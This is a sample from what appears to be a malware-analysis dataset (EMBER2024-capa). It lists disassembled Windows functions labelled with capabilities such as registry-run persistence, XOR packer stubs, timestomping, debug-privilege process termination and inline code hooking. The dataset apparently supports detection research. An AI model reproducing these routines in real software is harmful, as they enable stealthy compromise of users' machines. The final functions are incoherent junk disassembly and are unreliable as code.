joyce8/EMBER2024-capa huggingface dataset:
Function at 0x405e84
Capabilities:
Accept command line arguments

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffef0
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x110], ecx
mov dword [ebp - 4], edx
mov esi, eax
xor eax, eax
push ebp
push 0x405f8e
push dword fs:[eax]
mov dword fs:[eax], esp
test esi, esi
jne 0x405ed7
push 0x105
lea eax, [ebp - 0x109]
push eax
push 0
call sub.kernel32.dll_GetModuleFileNameA_2
mov ecx, eax
lea edx, [ebp - 0x109]
mov eax, dword [ebp - 4]
call fcn.004030d0
jmp 0x405f75
call sub.kernel32.dll_GetCommandLineA_1
mov ebx, eax
mov eax, ebx
call fcn.00405e38
mov ebx, eax
mov edi, ebx
mov eax, ebx
call fcn.00405e58
mov ebx, eax
test esi, esi
je 0x405eff
dec esi
test esi, esi
jl 0x405eff
cmp edi, ebx
jne 0x405ede
mov eax, dword [ebp - 4]
push eax
lea eax, [ebp - 0x110]
mov edx, edi
call fcn.00403110
mov eax, dword [ebp - 0x110]
mov ecx, ebx
sub ecx, edi
mov edx, 1
call fcn.0040335c
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.00403158
cmp eax, 2
jl 0x405f75
mov eax, dword [ebp - 4]
mov eax, dword [eax]
cmp byte [eax], 0x22
jne 0x405f75
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.00403158
mov edx, dword [ebp - 4]
mov edx, dword [edx]
cmp byte [edx + eax - 1], 0x22
jne 0x405f75
mov eax, dword [ebp - 4]
push eax
mov eax, dword [ebp - 4]
mov eax, dword [eax]
call fcn.00403158
mov ecx, eax
sub ecx, 2
mov eax, dword [ebp - 4]
mov eax, dword [eax]
mov edx, 2
call fcn.0040335c
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x405f95
lea eax, [ebp - 0x110]
call fcn.00402fec
ret

Function at 0x405f9c
Capabilities:
Get file attributes

Disassembly:
call fcn.00404d60
push eax
call sub.kernel32.dll_GetFileAttributesA
inc eax
je 0x405fb0
dec eax
and al, 0x10
sete al
ret

Function at 0x40613c
Capabilities:
Read .ini file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
xor ebx, ebx
mov dword [ebp - 8], ebx
mov esi, ecx
mov edi, edx
mov ebx, eax
xor eax, eax
push ebp
push 0x4061d4
push dword fs:[eax]
mov dword fs:[eax], esp
cmp byte [ebx + 0x18], 0
jne 0x406189
mov eax, dword [ebx + 0x19]
call fcn.0040331c
push eax
push esi
mov eax, edi
call fcn.0040331c
push eax
mov eax, dword [ebx + 0x1d]
call fcn.0040331c
push eax
call sub.kernel32.dll_GetPrivateProfileIntA
mov dword [ebp - 4], eax
jmp 0x4061be
mov dword [ebp - 4], esi
mov eax, dword [ebx + 0x19]
call fcn.0040331c
push eax
lea edx, [ebp - 8]
mov eax, esi
call fcn.00405cb0
mov eax, dword [ebp - 8]
call fcn.0040331c
push eax
mov eax, edi
call fcn.0040331c
push eax
mov eax, dword [ebx + 0x1d]
call fcn.0040331c
push eax
call sub.kernel32.dll_WritePrivateProfileStringA
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x4061db
lea eax, [ebp - 8]
call fcn.00402fec
ret
Function at 0x407a7c
Capabilities:
Get graphical window text

Disassembly:
xchg edx, eax
movzx ecx, byte [edx + 0x3a]
jecxz 0x407a8b
mov edx, dword [edx + 0x36]
jmp fcn.00403110
mov ecx, dword [edx + 0x18]
jecxz 0x407a83
push ebx
push esi
xchg ebx, eax
mov esi, ecx
push esi
call sub.user32.dll_GetWindowTextLengthA
mov edx, eax
inc eax
push eax
mov eax, ebx
call fcn.00403488
pop edx
mov ecx, dword [ebx]
jecxz 0x407ab3
push edx
push ecx
push esi
call sub.user32.dll_GetWindowTextA
pop esi
pop ebx
ret

Function at 0x40d390
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
push ebx
xor ebx, ebx
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0x140]
call fcn.00405ff4
test eax, eax
jbe 0x40d4af
mov eax, dword [ebp + 8]
add eax, 0xffffff04
xor ecx, ecx
mov edx, 0xf8
call fcn.004025fc
mov eax, dword [ebp + 8]
lea edx, [eax - 0x13c]
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0x140]
mov ecx, 0x40
call fcn.00405ffc
cmp eax, 0x40
jne 0x40d4af
mov eax, dword [ebp + 8]
cmp word [eax - 0x13c], 0x5a4d
jne 0x40d4af
mov eax, dword [ebp + 8]
mov edx, dword [eax - 0x100]
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0x140]
xor ecx, ecx
call fcn.00406004
mov edx, dword [ebp + 8]
cmp eax, dword [edx - 0x100]
jne 0x40d4af
mov eax, dword [ebp + 8]
lea edx, [eax - 0xfc]
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0x140]
mov ecx, 4
call fcn.00405ffc
cmp eax, 4
jne 0x40d4af
mov eax, dword [ebp + 8]
cmp dword [eax - 0xfc], 0x4550
jne 0x40d4af
mov eax, dword [ebp + 8]
lea edx, [eax - 0xf8]
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0x140]
mov ecx, 0x14
call fcn.00405ffc
cmp eax, 0x14
jne 0x40d4af
mov eax, dword [ebp + 8]
cmp word [eax - 0xf8], 0x14c
jne 0x40d4af
mov eax, dword [ebp + 8]
movzx ecx, word [eax - 0xe8]
mov eax, dword [ebp + 8]
lea edx, [eax - 0xe4]
mov eax, dword [ebp + 8]
mov eax, dword [eax - 0x140]
call fcn.00405ffc
mov edx, dword [ebp + 8]
movzx edx, word [edx - 0xe8]
cmp eax, edx
jne 0x40d4af
mov bl, 1
mov eax, ebx
pop ebx
pop ebp
ret
Function at 0x40da88
Capabilities:
Inspect section memory permissions

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
xor edx, edx
mov eax, dword [ebp + 8]
mov ax, word [eax - 0xf6]
test ax, ax
jbe 0x40db68
mov edx, dword [ebp + 8]
movzx eax, ax
dec eax
test eax, eax
jl 0x40db66
inc eax
mov dword [ebp - 4], eax
xor ebx, ebx
mov esi, ebx
add esi, esi
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax + esi*8 + 0xc]
xor edx, edx
test eax, 0x20000000
je 0x40dafe
test eax, 0x40000000
je 0x40daea
test eax, 0x80000000
je 0x40dae5
or edx, 0x40
jmp 0x40db25
or edx, 0x20
jmp 0x40db25
test eax, 0x80000000
je 0x40daf9
or edx, 0x80
jmp 0x40db25
or edx, 0x10
jmp 0x40db25
test eax, 0x40000000
je 0x40db16
test eax, 0x80000000
je 0x40db11
or edx, 4
jmp 0x40db25
or edx, 2
jmp 0x40db25
test eax, 0x80000000
je 0x40db22
or edx, 8
jmp 0x40db25
or edx, 1
test eax, 0x4000000
je 0x40db32
or edx, 0x200
mov eax, dword [ebp + 8]
add eax, 0xfffffebc
push eax
push edx
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax + esi*8 + 8]
push eax
mov eax, dword [ebp + 8]
mov eax, dword [eax - 4]
mov eax, dword [eax + 0x1c]
mov eax, dword [eax + esi*8]
push eax
call sub.kernel32.dll_VirtualProtect
inc ebx
dec dword [ebp - 4]
jne 0x40dab8
mov dl, 1
mov eax, edx
pop esi
pop ebx
pop ecx
pop ebp
ret

Function at 0x40fc20
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
push ebx
push esi
push edi
mov edi, 0x4135c4
cmp dword [edi], 0
jne 0x40fc9c
push 0x40
push 0x1000
push 0x1000
push 0
call sub.kernel32.dll_VirtualAlloc_1
mov esi, eax
mov eax, dword [0x4135c0]
mov dword [esi], eax
lea edx, [esi + 4]
mov eax, 0x4124a8
mov ecx, 2
call fcn.004025b0
mov edx, 0x40fbf8
lea eax, [esi + 5]
call fcn.0040fc18
mov dword [esi + 6], eax
lea ebx, [esi + 0xa]
mov byte [ebx], 0xe8
lea edx, [esi + 4]
mov eax, ebx
call fcn.0040fc18
mov dword [ebx + 1], eax
mov eax, dword [edi]
mov dword [ebx + 5], eax
mov dword [edi], ebx
add ebx, 0xd
mov eax, ebx
sub eax, esi
cmp eax, 0x52b
jl 0x40fc71
mov dword [0x4135c0], esi
mov eax, dword [edi]
mov ebx, dword [edi]
mov edx, dword [ebx + 5]
mov dword [edi], edx
mov edx, dword [ebp + 8]
mov dword [ebx + 5], edx
mov edx, dword [ebp + 0xc]
mov dword [ebx + 9], edx
pop edi
pop esi
pop ebx
pop ebp
ret 8
Function at 0x431000
Capabilities:
Encode data using xor
Packed with generic packer

Disassembly:
pushal
nop
nop
nop
nop
nop
nop
mov eax, section..text
nop
mov ebx, 0x40915c
nop
mov ecx, 0x28ed0e67
nop
nop
test eax, eax
nop
nop
nop
nop
je 0x43104e
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
inc eax
nop
nop
nop
nop
nop
nop
cmp eax, ebx
jne 0x431024
nop
nop
nop
nop
mov eax, section..data
nop
nop
mov ebx, 0x42f3f8
nop
mov ecx, 0x17f73f2a
nop
nop
test eax, eax
nop
nop
je 0x431084
nop
nop
nop
nop
nop
nop
xor dword [eax], ecx
nop
nop
nop
add eax, 4
nop
nop
cmp eax, ebx
nop
nop
nop
nop
nop
nop
jne 0x43106c
nop
nop
nop
popal
nop
nop
nop
nop
jmp 0x401219
Function at 0x415268
Capabilities:
Check os version

Disassembly:
push ebx
add esp, 0xffffff6c
xor ebx, ebx
mov eax, esp
xor ecx, ecx
mov edx, 0x94
call fcn.00402d18
mov dword [esp], 0x94
push esp
call sub.kernel32.dll_GetVersionExA
test eax, eax
je 0x4152e3
cmp dword [esp + 0x10], 2
jne 0x4152e3
mov eax, dword [esp + 4]
cmp eax, 5
jne 0x4152c5
mov edx, dword [esp + 8]
test edx, edx
jne 0x4152af
mov ebx, 0x32
jmp 0x4152c5
cmp edx, 2
jne 0x4152bb
mov ebx, 0x34
jmp 0x4152c5
cmp edx, 1
jne 0x4152c5
mov ebx, 0x33
cmp eax, 6
jne 0x4152e3
mov eax, dword [esp + 8]
test eax, eax
jne 0x4152d9
mov ebx, 0x3c
jmp 0x4152e3
cmp eax, 1
jne 0x4152e3
mov ebx, 0x3d
mov eax, ebx
add esp, 0x94
pop ebx
ret
Function at 0x417ce8
Capabilities:
Create a process with modified i/o handles and window
Create process on windows
Create process suspended

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff84
push ebx
push esi
push edi
xor ecx, ecx
mov dword [ebp - 0x7c], ecx
mov dword [ebp - 0x78], ecx
mov dword [ebp - 0x74], ecx
mov dword [ebp - 0xc], ecx
mov dword [ebp - 0x10], ecx
mov dword [ebp - 4], edx
mov esi, eax
mov eax, dword [ebp - 4]
call fcn.00404494
xor eax, eax
push ebp
push 0x417ea4
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x417e68
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 0x74]
call fcn.0041d2e8
mov edx, dword [ebp - 0x74]
lea eax, [ebp - 0x10]
mov ecx, 0x417ebc
call fcn.004042f8
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 0x78]
call fcn.0041d2e8
mov eax, dword [ebp - 0x78]
mov ecx, 3
mov edx, 1
call fcn.00404504
lea eax, [ebp - 0x1c]
xor ecx, ecx
mov edx, 0xc
call fcn.00402d18
mov dword [ebp - 0x1c], 0xc
mov dword [ebp - 0x14], 0xffffffff
push 0
push 0x80
push 2
lea eax, [ebp - 0x1c]
push eax
push 2
push 0x40000000
mov eax, dword [ebp - 0x10]
call fcn.004044a4
push eax
call sub.kernel32.dll_CreateFileA_1
mov ebx, eax
lea eax, [ebp - 0x60]
xor ecx, ecx
mov edx, 0x44
call fcn.00402d18
mov dword [ebp - 0x60], 0x44
mov dword [ebp - 0x24], ebx
mov dword [ebp - 0x34], 0x101
mov word [ebp - 0x30], 0
lea eax, [ebp - 0x70]
push eax
lea eax, [ebp - 0x60]
push eax
mov eax, dword [ebp - 0xc]
call fcn.004044a4
push eax
push 0
push 0
push 0xffffffffffffffff
push 0
push 0
lea eax, [ebp - 0x7c]
mov ecx, dword [ebp - 4]
mov edx, 0x417ed4
call fcn.004042f8
mov eax, dword [ebp - 0x7c]
call fcn.004044a4
push eax
push 0
call sub.kernel32.dll_CreateProcessA
test eax, eax
je 0x417e46
push 0x40
mov eax, dword [ebp - 0x70]
push eax
call sub.kernel32.dll_SetPriorityClass
push 0xffffffffffffffff
mov eax, dword [ebp - 0x70]
push eax
call sub.kernel32.dll_WaitForSingleObject
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0x70]
push eax
call sub.kernel32.dll_GetExitCodeProcess
mov eax, dword [ebp - 0x6c]
push eax
call sub.kernel32.dll_CloseHandle_1
mov eax, dword [ebp - 0x70]
push eax
call sub.kernel32.dll_CloseHandle_1
push ebx
call sub.kernel32.dll_CloseHandle_1
mov bl, 1
jmp 0x417e48
xor ebx, ebx
test bl, bl
je 0x417e5e
mov eax, dword [esi]
mov edx, dword [ebp - 0x10]
call fcn.0040b278
mov eax, dword [ebp - 0x10]
call fcn.00407a00
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x417e74
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x417eab
lea eax, [ebp - 0x7c]
mov edx, 3
call fcn.00404030
lea eax, [ebp - 0x10]
mov edx, 2
call fcn.00404030
lea eax, [ebp - 4]
call fcn.0040400c
ret
Function at 0x417ff0
Capabilities:
Get hostname

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff4
push ebx
push esi
push edi
mov dword [ebp - 4], eax
xor eax, eax
push ebp
push 0x418069
push dword fs:[eax]
mov dword fs:[eax], esp
mov dword [ebp - 8], 0xff
mov eax, dword [ebp - 8]
call fcn.00402544
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x418058
push dword fs:[eax]
mov dword fs:[eax], esp
lea eax, [ebp - 8]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_GetComputerNameA
mov eax, dword [ebp - 4]
mov edx, dword [ebp - 0xc]
call fcn.004041e4
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41805f
mov eax, dword [ebp - 0xc]
call fcn.00402564
ret
Function at 0x41bf34
Capabilities:
Suspend thread

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffe0
mov dword [esp], eax
xor ebx, ebx
call sub.kernel32.dll_GetCurrentThreadId_1
mov edi, eax
xor edx, edx
mov eax, 4
call fcn.00411354
mov ebp, eax
cmp ebp, 0xffffffff
je 0x41bfb5
mov dword [esp + 4], 0x1c
lea eax, [esp + 4]
push eax
push ebp
call fcn.004113b4
test eax, eax
je 0x41bfad
mov eax, dword [esp + 0xc]
cmp edi, eax
je 0x41bf9e
mov edx, dword [esp + 0x10]
cmp edx, dword [esp]
jne 0x41bf9e
push eax
push 0
push 2
call sub.kernel32.dll_OpenThread
mov esi, eax
test esi, esi
je 0x41bfb5
push esi
call sub.kernel32.dll_SuspendThread
push esi
call sub.kernel32.dll_CloseHandle_1
lea eax, [esp + 4]
push eax
push ebp
call fcn.004113d8
test eax, eax
jne 0x41bf71
push ebp
call sub.kernel32.dll_CloseHandle_1
mov bl, 1
mov eax, ebx
add esp, 0x20
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x41bfc0
Capabilities:
Resume thread

Disassembly:
push ebx
push esi
push edi
push ebp
add esp, 0xffffffe0
mov dword [esp], eax
xor ebx, ebx
call sub.kernel32.dll_GetCurrentThreadId_1
mov edi, eax
xor edx, edx
mov eax, 4
call fcn.00411354
mov ebp, eax
cmp ebp, 0xffffffff
je 0x41c041
mov dword [esp + 4], 0x1c
lea eax, [esp + 4]
push eax
push ebp
call fcn.004113b4
test eax, eax
je 0x41c039
mov eax, dword [esp + 0xc]
cmp edi, eax
je 0x41c02a
mov edx, dword [esp + 0x10]
cmp edx, dword [esp]
jne 0x41c02a
push eax
push 0
push 2
call sub.kernel32.dll_OpenThread
mov esi, eax
test esi, esi
je 0x41c041
push esi
call sub.kernel32.dll_ResumeThread
push esi
call sub.kernel32.dll_CloseHandle_1
lea eax, [esp + 4]
push eax
push ebp
call fcn.004113d8
test eax, eax
jne 0x41bffd
push ebp
call sub.kernel32.dll_CloseHandle_1
mov bl, 1
mov eax, ebx
add esp, 0x20
pop ebp
pop edi
pop esi
pop ebx
ret

Function at 0x41d208
Capabilities:
Persist via run registry key

Disassembly:
push ebp
mov ebp, esp
push 0
push 0
push ebx
mov ebx, eax
xor eax, eax
push ebp
push 0x41d279
push dword fs:[eax]
mov dword fs:[eax], esp
mov ecx, ebx
mov edx, 0x41d290
mov eax, 0x80000001
call fcn.00410f70
test al, al
je 0x41d25e
cmp dword [ebx], 0
je 0x41d25e
mov edx, dword [ebx]
lea eax, [ebp - 8]
mov ecx, 0x41d2e4
call fcn.004042f8
mov eax, dword [ebp - 8]
lea edx, [ebp - 4]
call fcn.00416c68
mov edx, dword [ebp - 4]
mov eax, ebx
call fcn.00404060
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41d280
lea eax, [ebp - 8]
mov edx, 2
call fcn.00404030
ret

Function at 0x41e864
Capabilities:
Get common file path

Disassembly:
push ebx
add esp, 0xfffffefc
mov ebx, eax
push 0x104
lea eax, [esp + 4]
push eax
call sub.kernel32.dll_GetWindowsDirectoryA
mov ecx, eax
mov edx, esp
mov eax, ebx
call fcn.004040fc
cmp dword [ebx], 0
je 0x41e898
mov eax, ebx
mov edx, 0x41e8a8
call fcn.004042b4
add esp, 0x104
pop ebx
ret
Function at 0x41e91c
Capabilities:
Acquire debug privileges
Terminate process

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
mov esi, eax
xor eax, eax
push ebp
push 0x41ea3c
push dword fs:[eax]
mov dword fs:[eax], esp
xor ebx, ebx
lea eax, [ebp - 4]
push eax
push 0x28
call sub.kernel32.dll_GetCurrentProcess
push eax
call sub.advapi32.dll_OpenProcessToken
test eax, eax
jne 0x41e959
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41ea48
lea eax, [ebp - 0x10]
push eax
push 0x41ea54
push 0
call sub.advapi32.dll_LookupPrivilegeValueA
test eax, eax
jne 0x41e983
mov eax, dword [ebp - 4]
push eax
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41ea48
mov dword [ebp - 0x24], 1
mov eax, dword [ebp - 0x10]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0xc]
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x18], 2
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x24]
push eax
push 0x10
lea eax, [ebp - 0x24]
push eax
push 0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_GetLastError_1
test eax, eax
je 0x41e9c9
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41ea48
push esi
push 0
push 1
call sub.kernel32.dll_OpenProcess
mov esi, eax
test esi, esi
jne 0x41e9e3
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41ea48
push 0xffffffffffffffff
push esi
call sub.kernel32.dll_TerminateProcess
test eax, eax
jne 0x41e9f9
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41ea48
push esi
call sub.kernel32.dll_CloseHandle_1
xor eax, eax
mov dword [ebp - 0x18], eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x24]
push eax
push 0x10
lea eax, [ebp - 0x24]
push eax
push 0
mov eax, dword [ebp - 4]
push eax
call sub.advapi32.dll_AdjustTokenPrivileges
call sub.kernel32.dll_GetLastError_1
test eax, eax
je 0x41ea30
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41ea48
mov bl, 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41ea48
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x41ea68
Capabilities:
Timestomp file

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffffdc
push ebx
push esi
push edi
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404494
xor eax, eax
push ebp
push 0x41eb56
push dword fs:[eax]
mov dword fs:[eax], esp
push 0
push 0x2000000
push 3
push 0
push 0
push pe_nt_image_headers32
mov eax, dword [ebp - 4]
call fcn.004044a4
push eax
call sub.kernel32.dll_CreateFileA_1
mov dword [ebp - 0xc], eax
xor eax, eax
push ebp
push 0x41eb39
push dword fs:[eax]
mov dword fs:[eax], esp
xor eax, eax
push ebp
push 0x41eb14
push dword fs:[eax]
mov dword fs:[eax], esp
push dword [ebp + 0xc]
push dword [ebp + 8]
lea eax, [ebp - 0x24]
call fcn.00408bf0
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x24]
push eax
call sub.kernel32.dll_SystemTimeToFileTime
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x14]
push eax
call sub.kernel32.dll_LocalFileTimeToFileTime
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x14]
push eax
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_SetFileTime
mov byte [ebp - 5], 1
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41eb22
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41eb40
mov eax, dword [ebp - 0xc]
push eax
call sub.kernel32.dll_CloseHandle_1
ret

Function at 0x41ef28
Capabilities:
Get disk information

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffde4
push ebx
xor ecx, ecx
mov dword [ebp - 0x21c], ecx
mov ebx, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404494
xor eax, eax
push ebp
push 0x41efdb
push dword fs:[eax]
mov dword fs:[eax], esp
push 0x104
lea eax, [ebp - 0x218]
push eax
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0xc]
push eax
lea eax, [ebp - 8]
push eax
push 0x104
lea eax, [ebp - 0x114]
push eax
mov eax, dword [ebp - 4]
call fcn.004044a4
push eax
call sub.kernel32.dll_GetVolumeInformationA
mov ecx, ebx
mov edx, 8
mov eax, dword [ebp - 8]
call fcn.00407718
mov eax, dword [0x426514]
cmp dword [eax], 2
je 0x41efba
lea edx, [ebp - 0x21c]
mov eax, dword [ebx]
call fcn.0041ee7c
mov edx, dword [ebp - 0x21c]
mov eax, ebx
call fcn.00404060
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41efe2
lea eax, [ebp - 0x21c]
call fcn.0040400c
lea eax, [ebp - 4]
call fcn.0040400c
ret

Function at 0x41efe8
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov ebp, esp
push ecx
push ebx
push esi
push edi
mov edi, edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.00404494
xor eax, eax
push ebp
push 0x41f05a
push dword fs:[eax]
mov dword fs:[eax], esp
mov eax, dword [ebp - 4]
call fcn.004042ac
mov esi, eax
test esi, esi
jle 0x41f03a
mov ebx, 1
lea eax, [ebp - 4]
call fcn.004044fc
mov edx, dword [ebp - 4]
movzx edx, byte [edx + ebx - 1]
xor dx, 0x29a
mov byte [eax + ebx - 1], dl
inc ebx
dec esi
jne 0x41f01d
mov eax, edi
mov edx, dword [ebp - 4]
call fcn.00404060
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x41f061
lea eax, [ebp - 4]
call fcn.0040400c
ret
Function at 0x41f808
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff0
push ebx
push esi
push edi
mov dword [ebp - 4], ecx
mov byte [ebp - 5], 0
xor ecx, ecx
push ebp
push 0x41f88c
push dword fs:[ecx]
mov dword fs:[ecx], esp
mov ebx, eax
mov edi, ebx
sub edx, edi
sub edx, 5
mov dword [ebp - 0xc], edx
lea eax, [ebp - 0x10]
push eax
push 0x40
push 5
push ebx
call sub.kernel32.dll_VirtualProtect
mov eax, 0xff
call fcn.00402544
mov esi, eax
mov dword [esi], edi
mov edx, esi
add edx, 5
mov eax, ebx
call fcn.0041f7c4
mov edx, esi
add edx, 4
mov byte [edx], al
mov byte [ebx], 0xe9
inc edi
mov eax, dword [ebp - 0xc]
mov dword [edi], eax
lea eax, [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x10]
push eax
push 5
push ebx
call sub.kernel32.dll_VirtualProtect
add esi, 5
mov eax, dword [ebp - 4]
mov dword [eax], esi
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41f89d
mov byte [ebp - 5], 1
mov al, byte [ebp - 5]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x41f8f4
Capabilities:
Allocate or change rwx memory

Disassembly:
push ebp
mov ebp, esp
add esp, 0xfffffff8
push ebx
push esi
push edi
mov edi, eax
mov bl, 1
xor edx, edx
push ebp
push 0x41f95d
push dword fs:[edx]
mov dword fs:[edx], esp
mov eax, edi
mov edx, eax
sub edx, 5
mov esi, dword [edx]
dec eax
movzx eax, byte [eax]
mov dword [ebp - 8], eax
lea eax, [ebp - 4]
push eax
push 0x40
push 5
push esi
call sub.kernel32.dll_VirtualProtect
mov ecx, dword [ebp - 8]
mov edx, edi
mov eax, esi
call fcn.00405bf0
lea eax, [ebp - 4]
push eax
mov eax, dword [ebp - 4]
push eax
push 5
push esi
call sub.kernel32.dll_VirtualProtect
mov eax, edi
sub eax, 5
call fcn.00402564
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
jmp 0x41f969
mov eax, ebx
pop edi
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
ret
Function at 0x42211b
Capabilities:
Parse pe header

Disassembly:
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test eax, eax
je 0x42215a
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x42215a
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x42215a
mov eax, 0x10b
cmp word [ecx + 0x18], ax
jne 0x42215a
cmp dword [ecx + 0x74], 0xe
jbe 0x42215a
cmp dword [ecx + 0xe8], 0
setne al
ret
xor al, al
ret

Function at 0x4347a0
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
mov eax, dword [ebp + 8]
mov ecx, 0x5a4d
cmp word [eax], cx
jne 0x4347cd
mov ecx, dword [eax + 0x3c]
add ecx, eax
cmp dword [ecx], 0x4550
jne 0x4347cd
mov edx, 0x10b
xor eax, eax
cmp word [ecx + 0x18], dx
sete al
pop ebp
ret
xor eax, eax
pop ebp
ret

Function at 0x4089d0
Capabilities:
Encode data using xor

Disassembly:
push ebp
mov edi, dword [ecx + 0x53]
mov ebx, dword [ebp + 0xc]
push esi
jl 0x408a4f
outsd dx, dword [esi]
xchg esi, eax
mov edi, dword [ebp + 0x10]
push 0xfffffffffffffff7
push ebx
push esi
push 0xcef2a2
sbb ebp, dword [edx]
push 0x2c00820d
call dword [sym.imp.MSVCRT.dll__iob]
or eax, eax
jne 0x408a3e
mov ecx, dword [0x2840c31c]
mov byte [0x395b7494], al
cmp al, 0xc5
sbb bl, al
inc eax
add byte [esi + ecx - 0x75], dh
iretd
mov ah, bh
xor byte [edi + 0x48], dl
xor byte [eax - 0x46fa2c83], 0xf9
or dh, byte [ebp + 0x10]
mov byte [eax + esi], 0x71
test eax, eax
jne 0x408a3e
xor byte [ecx - 0x7b], dh
sal byte [ebp - 0x17], 0x8b
invalid
mov eax, esi
pop edi
pop ecx
push esi
dec ecx
ret

Function at 0x40abf0
Capabilities:
Encode data using xor

Disassembly:
push ebp
sub esp, ebp
fsubp st(4)
or byte [ebx + 0x56539166], cl
push edi
mov edi, dword [edx]
test dword [eax + 0x75fc7d89], ecx
push cs
pop edi
pop esi
xor ebx, dword [eax + 0x5b]
mov esp, ebp
pop ebp
movsb byte es:[edi], byte [esi]
mov dh, 0
mov edi, dword [ebp - 4]
mov edx, dword [esi]
adc al, 0x88
cmp byte [eax], al
je 0x40ac05
mov esp, dword [eax + 8]
xor ecx, ecx
fucompi st(3)
add esi, 2
xor dword [edi], 0x17
mov dword [ebp + 8], esi
in al, 0x16
dec edi
imul edi, dword [edx], 0xffffff8b
xor byte [ebx], cl
mov dword [eax], esi
mov eax, dword [ebp + 0x10]
xor cl, byte [eax]
inc eax
mov dword [ebp - 0x4c], eax
jmp 0x40ad51
mov esi, dword [esi - 0x7b]
ror byte [ecx - 0x7af003bb], 0x32
inc byte [0x5b5e91ff]
lodsd eax, dword [esi]
in eax, 0x5d
ret 0x10